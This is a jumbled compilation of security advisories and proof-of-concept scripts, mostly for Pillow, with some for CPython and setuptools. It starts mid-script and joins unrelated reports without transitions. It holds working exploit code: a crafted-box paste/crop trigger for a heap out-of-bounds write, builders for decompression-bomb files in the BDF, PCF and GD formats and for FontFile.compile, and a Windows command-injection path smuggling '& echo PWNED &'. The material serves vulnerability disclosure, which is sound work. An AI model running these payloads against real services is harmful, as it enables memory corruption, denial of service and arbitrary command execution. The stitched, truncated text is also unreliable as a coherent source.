def rgbapattern(width): out = bytearray() for i in range(width): out += bytes((0x41 + (i % 26), 0x42, 0x43, 0x44)) return bytes(out)
def main(): parser = argparse.ArgumentParser() parser.addargument( "variant", choices=("paste", "crop", "alpha"), nargs="?", default="paste", ) parser.addargument("-w", "--width", type=int, default=2) args = parser.parseargs()
width = args.width src = Image.frombytes("RGBA", (width, 1), rgbapattern(width))
if args.variant == "paste": box = ((1 << 31) - width, 0, INTMIN, 1) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=paste box={box}") print(f"expected C dst offset={-4 width}, writesize={4 width}") sys.stdout.flush() dst.paste(src, box) print("paste returned; first row:", dst.tobytes().hex())
elif args.variant == "crop": left = INTMIN + width box = (left, 0, left + width, 1) print(f"variant=crop box={box}") sys.stdout.flush() out = src.crop(box) print("crop returned; output:", out.tobytes().hex())
else: dest = (INTMIN + width, 0) dst = Image.new("RGBA", (max(8, width), 1), (0, 0, 0, 0)) print(f"variant=alpha dest={dest}") sys.stdout.flush() dst.alphacomposite(src, dest=dest) print("alphacomposite returned; first row:", dst.tobytes().hex())
sys.stdout.flush()
if name == "main": main()
Run against an ASAN build:
bash env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py paste
env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py crop
env ASANOPTIONS=detectleaks=0 ASANSYMBOLIZERPATH=/usr/bin/llvm-symbolizer \ python b021poc.py alpha
Observed ASAN signature for the direct Image.paste() path:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 paste /out/src/src/imaging.c:1461 0x... is located 8 bytes before 32-byte region
On non-ASAN Pillow 12.2.0 and local 12.3.0.dev0, the direct minimal Image.paste() trigger returns from paste() and then the process aborts during cleanup with:
text double free or corruption (out) Aborted (core dumped)
Observed ASAN signature for the Image.crop() and Image.alphacomposite() paths:
text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 8 paste /out/src/src/libImaging/Paste.c:59 ImagingPaste /out/src/src/libImaging/Paste.c:323 ImagingCrop /out/src/src/libImaging/Crop.c:57 crop /out/src/src/imaging.c:1090 Suggested fix
Avoid signed overflow in paste/crop coordinate arithmetic. Use checked arithmetic or a wider type before calculating widths and clipped endpoints.
For example, reject boxes whose endpoint subtraction cannot be represented cleanly, and clip using non-overflowing comparisons:
c int64t xsize64 = (int64t)dx1 - dx0; int64t ysize64 = (int64t)dy1 - dy0;
if (xsize64 < 0 || ysize64 < 0 || xsize64 > INTMAX || ysize64 > INTMAX) { return ImagingErrorValueError("bad box"); }
ImagingCrop() should receive the same treatment for sx1 - sx0, dx0 = -sx0, and dx1 = imIn->xsize - sx0.
Impact
This is a heap out-of-bounds write in Pillow's native C extension, reachable through documented public image APIs.
Applications are impacted if an untrusted user can control image operation coordinates passed to Pillow, for example crop boxes, paste boxes, or overlay positions. The bytes written in the direct Image.paste() variant are copied from the source image, so attacker-controlled source pixels can influence the out-of-bounds write. For RGBA, the write is a backward heap underwrite whose offset and length are both 4 sourcewidth, bounded in practice by successful image allocation and heap layout.
Summary src/libImaging/Jpeg2KDecode.c:853 accumulates totalcomponentwidth across every tile in a JPEG2000 image instead of recomputing it per tile. That accumulated value is then used in the tilebytes calculation at src/libImaging/Jpeg2KDecode.c:868, which can make the decoder grow state->buffer via realloc at src/libImaging/Jpeg2KDecode.c:876 up to roughly one full image's decompressed size even when each tile is small. A crafted tiled JPEG2000 file can therefore force substantially higher transient memory usage and trigger out-of-memory failures during decoding. Based on current evidence, the supported impact is denial of service, not memory corruption.
Details - Location: src/libImaging/Jpeg2KDecode.c:853 - Root cause: totalcomponentwidth is initialized only once before the tile loop and keeps growing across tiles. It is then used to derive tilebytes, so later tiles are treated as if they had the combined component width of all earlier tiles. - Dangerous operation: tilebytes is promoted into tileinfo.datasize, then state->buffer is grown with realloc at src/libImaging/Jpeg2KDecode.c:876. - Reachability: any attacker-controlled JPEG2000 image with many tiles reaches this path during normal Image.open(...).load() decoding.
PoC The attached helper script and testcase were used: exercisej2ktilerealloc.zip
Generate the testcase:
bash pythonexercisej2ktilerealloc.py make poc3664rgbatile1832.jp2 \ --size 3664 --tile 1832
Expected geometry from the helper:
- image size: 3664 x 3664 - mode: RGBA - tile size: 1832 x 1832 (2x2 tiles) - imagebytes=53699584 - uncapped RSS observed: - vulnerable build: maxrsskb=180264 - fixed comparison build: maxrsskb=138404
Load it with the current vulnerable build:
bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2
Load it again under a 160 MB address-space cap:
bash python exercisej2ktilerealloc.py load poc3664rgbatile1832.jp2 --limit-mb 160
Impact Conservative impact: denial of service through memory exhaustion during JPEG2000 decoding.
https://www.cve.org/CVERecord?id=CVE-2026-15308 currently lists all versions before Python 3.15.0 as affected.
-------- Forwarded Message -------- Subject: [Security-announce][CVE-2026-15308] Incremental HTMLParser allows CPU-exhaustion DoS via repeated unterminated markup declarations Date: Thu, 9 Jul 2026 17:08:21 +0000 From: Seth Larson <seth () python org> Reply-To: security-sig () python org To: security-announce () python org
There is a HIGH severity vulnerability affecting CPython.
The incremental HTML parser (html.parser.HTMLParser) allows for CPU denial-of-service through repeated unterminated markup declarations when processing uncontrolled data.
Please see the linked CVE ID for the latest information on affected versions:
https://www.cve.org/CVERecord?id=CVE-2026-15308 https://github.com/python/cpython/pull/153031
Security-announce mailing list -- security-announce () python org https://mail.python.org/mailman3//lists/security-announce.python.org
The incremental HTML parser (html.parser.HTMLParser) allows for CPU denial-of-service through repeated unterminated markup declarations when processing uncontrolled data.
Summary
When building a source distribution (python -m build --sdist / setup.py sdist), setuptools' FileList applies MANIFEST.in directives (exclude, global-exclude, recursive-exclude, prune) by matching a compiled glob against on-disk file names byte-for-byte, with no Unicode normalization. On normalization-preserving filesystems (notably macOS APFS and HFS+), a file written in NFD and a MANIFEST.in rule written in NFC refer to the same file but are byte-distinct, so the exclusion silently fails to match. A file the maintainer intended to exclude is then packed into the .tar.gz and, if published, uploaded to the public, immutable PyPI index.
Details
File names in FileList.files come from os.walk (setuptools/distutils/filelist.py, findallsimple), so on APFS a file written NFD is offered to the matcher in NFD, while the MANIFEST.in pattern carries the author's editor form (typically NFC). The matching path performs no canonicalization:
python setuptools/command/egginfo.py (FileList.globalexclude) def globalexclude(self, pattern): match = translatepattern(os.path.join('', pattern)) # fnmatch.translate -> regex, no NFC/NFD return self.removefiles(match.match) # byte-level regex over raw os.walk names
A rule written NFC (café = 63 61 66 c3 a9) does not match an on-disk name written NFD (café = 63 61 66 65 cc 81), even though the filesystem treats the two as one file.
A unicodedata.normalize('NFD', ...) helper exists in setuptools/unicodeutils.py (decompose()), but it is never called in the manifest matching path, so neither the pattern nor the walked path is normalized before matching. The only normalization in this area, EggInfoCommand.manifestnormalize, uses filesysdecode (bytes→str decode only, no NFC/NFD) and runs when writing SOURCES.txt, after matching has already occurred.
Impact
MANIFEST.in exclusions are the documented mechanism maintainers use to keep secrets, local configs, and private fixtures out of the published sdist. A non-ASCII excluded file may be published to the public, immutable PyPI index despite the rule — an irreversible disclosure with no visual cue (NFC and NFD forms render identically). Exposure is filesystem-dependent and most relevant on macOS APFS/HFS+, where many maintainers build and publish. Pure-ASCII rules are unaffected.
Proof of concept
With a project containing MANIFEST.in:
global-include .txt .json global-exclude secretcafé.txt # rule saved NFC
and an on-disk file secretcafé.txt written in NFD, python -m build --sdist packs the secret file into the resulting .tar.gz, while an ASCII control file excluded by the same directive is correctly dropped — isolating the bypass to the NFC-pattern vs. NFD-name mismatch. Reproduced on macOS APFS with setuptools 82.0.1.
Remediation
Normalize both the walked path and each MANIFEST.in pattern to a single canonical form before matching, in both setuptools/command/egginfo.py (FileList) and the vendored setuptools/distutils/filelist.py. For an exclusion list, err toward excluding more, and document that MANIFEST.in matching is normalization-insensitive on macOS.
Credit
Reported by Tomas Illuminati. Coordinated via CERT/CC VINCE VU#604762.
Summary PIL/BdfFontFile.py bdfchar() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image.decompressionbombcheck(). This completely bypasses Pillow's documented decompression bomb protection.
Image.open() enforces MAXIMAGEPIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls checksize() (validates >= 0) — no pixel count limit.
Vulnerable code (PIL/BdfFontFile.py lines 84–88): python width, height from attacker-controlled "BBX width height x y" line try: im = Image.frombytes("1", (width, height), bitmap, "hex", "1") except ValueError: # TRIGGERED when BITMAP section is empty (zero hex lines) im = Image.new("1", (width, height)) # ← NO decompressionbombcheck()! # ^ This image is stored in self.glyph[ch] — persists in memory
Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.
Steps to reproduce
Minimal malicious BDF file (270 bytes): STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT placeholder ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX 20000 20000 0 0 BITMAP ENDCHAR ENDFONT
Proof of Concept script: python #!/usr/bin/env python3 """PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation""" import io, warnings warnings.filterwarnings("ignore")
from PIL.BdfFontFile import BdfFontFile from PIL.Image import decompressionbombcheck, DecompressionBombWarning, DecompressionBombError
W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold
Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: decompressionbombcheck((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).name}") warnings.filterwarnings("ignore")
Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check bdf = f"""STARTFONT 2.1 SIZE 16 75 75 FONTBOUNDINGBOX 16 16 0 -4 STARTPROPERTIES 1 COMMENT x ENDPROPERTIES CHARS 1 STARTCHAR A ENCODING 65 SWIDTH 500 0 DWIDTH 8 0 BBX {W} {H} 0 0 BITMAP ENDCHAR ENDFONT """.encode()
print(f"[] BDF file size : {len(bdf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")
BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!
print(f"[!] CONFIRMED: BdfFontFile loaded silently — {WH//8//10242} MB allocated") print(f" Image.open() path would have raised DecompressionBombError")
Expected output: [Image.open() path] BLOCKED by DecompressionBombError [] BDF file size : 270 bytes [] Glyph size : 20000 x 20000 = 400,000,000 pixels [] C-heap target : 47 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated Image.open() path would have raised DecompressionBombError
Amplified attack (multiple glyphs): A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.
Impact - Availability: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs - Confidentiality: None - Integrity: None - Any service loading BDF fonts from untrusted sources (e.g., ImageFont.load("user.bdf"), BdfFontFile(fp)) is affected - Loaded glyph images persist in self.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collected
Description
PIL/GdImageFile.py GdImageFile.open() reads image dimensions from the GD 2.x header and stores them in self.size without calling Image.decompressionbombcheck(). Because GdImageFile is not registered with Image.registeropen(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.
Vulnerable code (PIL/GdImageFile.py lines 50–61):
python def open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self.mode = "P" self.size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO decompressionbombcheck() call here ← ... self.tile = [ImageFile.Tile("raw", (0, 0) + self.size, 1037, "L")]
When load() is subsequently called on the returned image object:
python load() → loadprepare() → Image.core.new("P", (65535, 65535)) ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this
Dimension arithmetic:
| Field | Value | |---|---| | Maximum width from header | 65,535 (unsigned 16-bit) | | Maximum height from header | 65,535 (unsigned 16-bit) | | Maximum pixel count | 65,535 × 65,535 = 4,294,836,225 | | DecompressionBombError threshold | 178,956,970 (2 × MAXIMAGEPIXELS) | | Overshoot ratio | 24× above DecompressionBombError threshold | | Memory at max dimensions | ≈ 4.3 GB (palette-mode: 1 byte/pixel) | | Minimum attack file size | 1,037 bytes (header only — no pixel data needed) |
Comparison with safe sibling plugin (WalImageFile):
WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:
python PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self.size = i32(header, 32), i32(header, 36) Image.decompressionbombcheck(self.size) # ← present
GdImageFile was never updated to match, leaving a gap in protection.
Steps to reproduce
Proof of Concept script:
python #!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image
Build minimal 1037-byte GD 2.x palette-mode header: sig(2) + width(2) + height(2) + truecolor(1) + tindex(4) + colorsused(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height truecolor = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colorsused = b"\x00\x00" palettedata = b"\x00" 1024 header = sig + w + h + truecolor + tindex + colorsused + palettedata assert len(header) == 1037
Confirm: standard Image.open() path BLOCKS this size try: Image.decompressionbombcheck((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}")
Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No decompressionbombcheck called — 4.3 GB allocation not blocked")
Trigger loadprepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted")
print(f"\n[MATH] {65535 65535:,} pixels = {6553565535 / (Image.MAXIMAGEPIXELS2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only")
Expected output: [BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No decompressionbombcheck called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted
[MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only
Verified live on Pillow 12.2.0.
Two attack paths:
| Path | File size | Effect | |---|---|---| | Transient (header only) | 1,037 bytes | loadprepare() attempts 4.3 GB C allocation → OSError after spike | | Persistent (full pixel data) | ~4.3 GB | load() completes, 4.3 GB stays in memory for object lifetime |
For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.
Real-world scenario: python from PIL import GdImageFile
Application accepts user-uploaded .gd files img = GdImageFile.open(useruploadedfile) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation
Impact
- Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down. - Confidentiality: None - Integrity: None - Authentication required: No — any public endpoint accepting image uploads is affected - User interaction: None
Any service that calls PIL.GdImageFile.open(userfile) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.
Description
PIL/FontFile.py FontFile.compile() assembles per-glyph images into a single combined bitmap using Image.new("1", (xsize, ysize)) without calling Image.decompressionbombcheck(). This is the base-class method shared by both BdfFontFile and PcfFontFile, and it is triggered whenever a loaded font is converted to an ImageFont or saved.
Neither BdfFontFile.BdfFontFile(fp) nor PcfFontFile.PcfFontFile(fp) is registered with Image.registeropen(), so Pillow's standard decompression bomb guard never fires for font objects. The compile step is the final opportunity to check the combined allocation — and it has no check.
Vulnerable code (PIL/FontFile.py lines ~64–92):
python def compile(self) -> None: if self.bitmap: return
h = w = maxwidth = 0 lines = 1 for glyph in self.glyph: # up to 256 glyph slots if glyph: d, dst, src, im = glyph h = max(h, src[3] - src[1]) # max glyph height — attacker-controlled w = w + (src[2] - src[0]) if w > WIDTH: # WIDTH = 800 lines += 1 w = src[2] - src[0] maxwidth = max(maxwidth, w)
xsize = maxwidth # ≤ 800 (capped by WIDTH constant) ysize = lines h # ← lines(256) × h(65535) = 16,776,960
if xsize == 0 and ysize == 0: return
self.ysize = h # NO decompressionbombcheck() here ← self.bitmap = Image.new("1", (xsize, ysize)) # ← unchecked allocation
"Slow accumulation" attack — per-glyph dimensions stay BELOW warning threshold:
| Metric | Per-glyph (800 × 875) | Combined bitmap (256 glyphs) | |---|---|---| | Pixel count | 700,000 | 179,200,000 | | DecompressionBombWarning threshold (89.4M) | 0.008× — no warning | 2.0× — above warning | | DecompressionBombError threshold (178.9M) | 0.004× — no error | 1.001× — above error |
With PCF-maximum glyph height (65,535):
| Metric | Value | |---|---| | lines | 256 (one per glyph slot, width=800 forces a wrap every glyph) | | h (max glyph height) | 65,535 | | xsize | 800 | | ysize = lines × h | 256 × 65,535 = 16,776,960 | | Total pixels | 800 × 16,776,960 = 13,421,568,000 | | Ratio vs. DecompressionBombError threshold | 75× | | Memory (mode "1", 1 bit/pixel) | ~1.6 GB |
Steps to reproduce
Proof of Concept script:
python #!/usr/bin/env python3 """ PoC: FontFile.compile() bomb bypass 256 glyphs at 800x875 each (individually below warning threshold) → compile() creates 800x224000 = 179.2M px bitmap with NO bomb check """ from PIL import FontFile, Image
MAXGLYPHS = 256 GLYPHW = 800 GLYPHH = 875 # individual: 700K px — below 89.4M warning threshold
class MockFont(FontFile.FontFile): def init(self): super().init() # Each glyph is individually safe (700K px < 89.4M warning) im = Image.new("1", (GLYPHW, GLYPHH)) for i in range(MAXGLYPHS): self.glyph[i] = ( (GLYPHW, GLYPHH), (0, -GLYPHH, GLYPHW, 0), (0, 0, GLYPHW, GLYPHH), im, )
Confirm bomb check WOULD catch the combined size combinedsize = (GLYPHW, MAXGLYPHS GLYPHH) try: Image.decompressionbombcheck(combinedsize) print("[FAIL] bomb check did not raise — unexpected") except Image.DecompressionBombError as e: print(f"[OK] bomb check WOULD block {combinedsize}: {e}")
Vulnerable path: compile() has NO bomb check font = MockFont() font.compile() # → Image.new("1", (800, 224000)) — no error raised
px = font.bitmap.size[0] font.bitmap.size[1] threshold = Image.MAXIMAGEPIXELS 2 print(f"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}") print(f" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)") print(f" No DecompressionBombError raised at any point.")
Expected output: [OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] compile() succeeded: bitmap=(800, 224000) pixels=179,200,000 (1.001× DecompressionBombError threshold) No DecompressionBombError raised at any point.
Verified live on Pillow 12.2.0 — compile() succeeds with no exception.
Real-world trigger using BDF font file: python from PIL import BdfFontFile import io
Load a crafted BDF font with 256 glyphs each claiming height=65535 (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning) compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold font = BdfFontFile.BdfFontFile(open("crafted256glyph.bdf", "rb")) font.toimagefont() # → compile() → ~1.6 GB allocation, NO bomb check
Attack scenarios:
| Scenario | Effect | |---|---| | Web font preview (BdfFontFile(upload).toimagefont()) | DoS with crafted .bdf upload | | Server-side font renderer that loads PCF → toimagefont() | OOM crash | | Font pipeline: load → render text | One malicious font file kills the process |
Impact
- Availability: HIGH — compile() creates a combined bitmap whose pixel count scales as WIDTH × lines × maxglyphheight with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory. - Confidentiality: None - Integrity: None
Affected call paths: - BdfFontFile.BdfFontFile(fp).toimagefont() → FontFile.compile() - BdfFontFile.BdfFontFile(fp).save(filename) → FontFile.compile() - PcfFontFile.PcfFontFile(fp).toimagefont() → FontFile.compile() - PcfFontFile.PcfFontFile(fp).save(filename) → FontFile.compile()
Neither BdfFontFile nor PcfFontFile is loaded via Image.open(), so the standard decompression bomb guard is entirely absent from the font loading code path. compile() is the only point where the combined allocation size is known, and it has no check.
Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.
Description PIL/PcfFontFile.py loadbitmaps() (line 227) reads glyph dimensions from the PCF METRICS section and passes them directly to Image.frombytes() without calling Image.decompressionbombcheck(). Dimensions originate from unsigned 16-bit values:
xsize = right - left (max: 65535 − 0 = 65535) ysize = ascent + descent (max: 65535 + 65535 = 131070)
Maximum exploitable pixel count: 65,535 × 131,070 = 8,589,734,450 pixels — 48× the DecompressionBombError threshold.
Vulnerable code (PIL/PcfFontFile.py line 224–227): python for i in range(nbitmaps): xsize, ysize = metrics[i][:2] # from PCF METRICS — attacker-controlled b, e = offsets[i : i + 2] bitmaps.append( Image.frombytes("1", (xsize, ysize), data[b:e], "raw", mode, pad(xsize)) # ↑ NO decompressionbombcheck()! )
Image.frombytes() calls Image.new() first (allocating the full C-heap buffer), then attempts to fill it. This creates two distinct attack paths:
- Persistent attack: Provide matching bitmap data → frombytes() succeeds → image stored in font.glyph[ch] permanently - Transient attack: Provide a 148-byte PCF file with large declared dimensions but no data → Image.new() allocates the full buffer → ValueError → buffer freed → but the spike occurs before Python can respond
Steps to reproduce
Proof of Concept script:
python #!/usr/bin/env python3 """PoC: PcfFontFile bomb bypass — 148-byte PCF → 23 MB allocation""" import io, struct, tracemalloc, warnings warnings.filterwarnings("ignore")
from PIL.PcfFontFile import PcfFontFile from PIL.Image import decompressionbombcheck, DecompressionBombWarning, DecompressionBombError
W, H = 14000, 14000 # 196M pixels → above DecompressionBombError threshold
Show what Image.open() would do warnings.filterwarnings("error", category=DecompressionBombWarning) try: decompressionbombcheck((W, H)) except (DecompressionBombWarning, DecompressionBombError) as e: print(f"[Image.open() path] BLOCKED by {type(e).name}") warnings.filterwarnings("ignore")
PCF binary constants PCFMAGIC = 0x70636601 PCFPROPS = 1 << 0 PCFMETRICS = 1 << 2 PCFBITMAPS = 1 << 3 PCFENCODINGS= 1 << 5
def buildbombpcf(xsize, ysize): # Properties: empty props = struct.pack("<III", 0, 0, 0)
# Metrics (jumbo, non-compressed): 1 glyph — xsize=right-left, ysize=ascent+descent metrics = struct.pack("<II", 0, 1) metrics += struct.pack("<HHHHHH", 0, xsize, xsize, ysize, 0, 0)
# Bitmaps: 1 glyph, empty data (transient attack) bitmaps = struct.pack("<II", 0, 1) bitmaps += struct.pack("<I", 0) # offset[0] = 0 bitmaps += struct.pack("<IIII", 0, 0, 0, 0) # bitmapsizes all = 0
# Encodings: char 0x41 ('A') → glyph 0 encoffsets = [0xFFFF]65 + [0] + [0xFFFF]62 encodings = struct.pack("<IHHHHH", 0, 0, 127, 0, 0, 0xFFFF) encodings += struct.pack("<" + "H"128, encoffsets)
secs = [(PCFPROPS, props), (PCFMETRICS, metrics), (PCFBITMAPS, bitmaps), (PCFENCODINGS, encodings)] hdrsize = 4 + 4 + len(secs) 16 out = struct.pack("<II", PCFMAGIC, len(secs)) offset = hdrsize for stype, sdata in secs: out += struct.pack("<IIII", stype, 0, len(sdata), offset) offset += len(sdata) for , sdata in secs: out += sdata return out
pcf = buildbombpcf(W, H) print(f"[] PCF file size : {len(pcf)} bytes") print(f"[] Glyph size : {W} x {H} = {WH:,} pixels") print(f"[] C-heap target : {WH//8//10242} MB (mode '1' = 1 bit/pixel)")
tracemalloc.start() try: font = PcfFontFile(io.BytesIO(pcf)) , peak = tracemalloc.gettracedmemory() tracemalloc.stop() print(f"[!] CONFIRMED (persistent): bomb check bypassed — heap peak {peak/10242:.2f} MB") except Exception as e: , peak = tracemalloc.gettracedmemory() tracemalloc.stop() print(f"[!] CONFIRMED (transient): {type(e).name} after allocation") print(f" Heap peak: {peak/10242:.2f} MB") print(f" C-heap allocation of ~{WH//8//10242} MB occurred before exception")
Expected output: [Image.open() path] BLOCKED by DecompressionBombError [] PCF file size : 148 bytes [] Glyph size : 14000 x 14000 = 196,000,000 pixels [] C-heap target : 23 MB (mode '1' = 1 bit/pixel) [!] CONFIRMED (transient): ValueError after allocation C-heap allocation of ~23 MB occurred before exception
Amplification table:
| PCF file | Glyph dims | C-heap (mode '1') | Bomb check | |---|---|---|---| | 148 bytes | 14000 × 14000 | 23 MB (transient) | Bypassed | | 148 bytes | 65535 × 131070 | 1.07 GB (transient) | Bypassed | | ~512 MB | 65535 × 131070 | 1.07 GB (persistent) | Bypassed |
Impact - Availability: HIGH — up to 1.07 GB per glyph, no limit per font file - Confidentiality: None - Integrity: None - Any service loading PCF fonts from untrusted sources (e.g., PcfFontFile(fp)) is affected - PcfFontFile is never loaded via Image.open(), so the bomb check protection is completely absent from the entire PCF font loading path - Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-07
1. Summary
WindowsViewer.getcommand() constructs a cmd.exe shell command by directly embedding a file path into an f-string without escaping. The result is passed to subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most importantly a double-quote (") that breaks out of the wrapping, followed by & — allow injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter. The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
---
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
python class WindowsViewer(Viewer): format = "PNG" options = {"compresslevel": 1, "saveall": True}
def getcommand(self, file: str, options: Any) -> str: return ( f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping "&& ping -n 4 127.0.0.1 >NUL " f'&& del /f "{file}"' # ← same path, unescaped again )
def showfile(self, path: str, options: Any) -> int: if not os.path.exists(path): raise FileNotFoundError subprocess.Popen( self.getcommand(path, options), shell=True, # ← shell=True creationflags=getattr(subprocess, "CREATENOWINDOW"), ) # nosec # ← Bandit warning suppressed manually return 1
Contrast with macOS — SAFE (line 164–168): python class MacViewer(Viewer): def getcommand(self, file: str, options: Any) -> str: command = "open -a Preview.app" command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&" return command # ← shlex.quote() applied
Cross-platform summary:
| Platform | Class | shlex.quote()? | shell=True? | Safe? | |----------|----------------|------------------|---------------|-------| | macOS | MacViewer | Yes (line 168) | No (list args) | ✅ Yes | | Linux | UnixViewer | Yes (line 207) | No (list args) | ✅ Yes | | Windows | WindowsViewer| No (line 134–137) | Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear oversight, not a deliberate design choice.
--- 3. Proof of Concept
A full working PoC is at pocpillowinjection.py. Key parts:
Part A — Injection string construction (static, no execution): python from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer() evilpath = r'C:\Temp\evil" & echo PWNED & echo "' cmd = viewer.getcommand(evilpath) print(cmd) Output: start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ... ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found) ├─ & echo PWNED → INJECTED COMMAND └─ & echo "" && ping ... → continues
Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1): python import os, tempfile from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer() pocdir = tempfile.mkdtemp() marker = os.path.join(pocdir, "INJECTIONCONFIRMED.txt")
Craft injection: payload writes a marker file (harmless) payload = f'echo REALINJECTED > "{marker}"' evilpath = os.path.join(pocdir, f'poc" & {payload} & echo "')
Call the REAL Pillow getcommand(): realcmd = viewer.getcommand(evilpath)
Execute the same way the base Viewer.showfile() does (os.system): os.system(realcmd)
assert os.path.exists(marker) # PASSES — marker was created assert "REALINJECTED" in open(marker).read() # PASSES → CONFIRMED: arbitrary command injection via getcommand()
---
In the Tarfile.extract() function, the filter parameter is not passed properly when extracting hardlinks. An affected system that extracts content from untrusted tar files could end up writing files with an unexpected uid/gid despite the user passing filter='data' to the extract() function.
tarfile opened in streaming mode mishandles EOF
Configuration Injection via Carriage Return (\r) in write() method
tarfile.extractall() with the 'data' or 'tar' filter could be bypassed by a crafted archive where a hardlink references a symlink stored at a deeper name than the hardlink itself. The extraction fallback validated the symlink at it's archived location but recreated it at the hardlink's shallower path, letting a relative target the filter judged contained escape the destination directory. This allowed a malicious tar archive to create a symlink pointing outside the destination, enabling out-of-destination file reads or writes. This was an incomplete fix of CVE-2025-4330.
-------- Forwarded Message -------- Date: Tue, 23 Jun 2026 16:55:19 +0100 From: Stan Ulbrych via Security-announce <security-announce () python org> Reply-To: security-sig () python org To: security-announce () python org CC: Stan Ulbrych <stanulbrych () gmail com>
There is a HIGH severity vulnerability affecting CPython. Please see the linked CVE ID for the latest information on affected versions:
https://www.cve.org/CVERecord?id=CVE-2026-11940 https://github.com/python/cpython/pull/151559
